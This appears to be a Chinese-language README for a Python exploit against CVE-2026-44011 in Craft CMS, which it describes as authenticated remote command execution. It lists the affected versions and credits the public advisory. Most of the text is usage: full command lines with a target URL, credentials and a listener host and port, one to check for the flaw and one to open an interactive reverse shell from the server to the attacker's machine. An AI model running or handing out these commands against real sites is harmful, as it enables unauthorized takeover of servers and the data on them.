该 Python 脚本改编自 Craft CMS 安全公告 中描述的利用方式。已认证的 Craft 用户可访问存在漏洞的字段布局配置路径,并导致服务器执行命令。
受影响的版本为 Craft CMS >=4.0.0, <4.17.12 和 >=5.0.0, <5.9.18。
该脚本要求两台主机上都安装有 curl。它在服务器上使用 Bash。服务器上的 Python3 还可提供交互式 PTY;若没有 Python3,shell 将回退为基本连接。
# Confirm the host is vulnerable
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password' --check
# Open an interactive shell
python3 cve-2026-44011.py --url https://target.example --lhost 192.0.2.10 --lport 8000 --username editor --password 'password'
Craft CMS 将 @precicom-vincent-tl 列为 CVE-2026-44011 的发现者。漏洞详情与示例载荷已发布在 Craft CMS 公告 GHSA-qrgm-p9w5-rrfw 中。本脚本改编自该已公开的技术。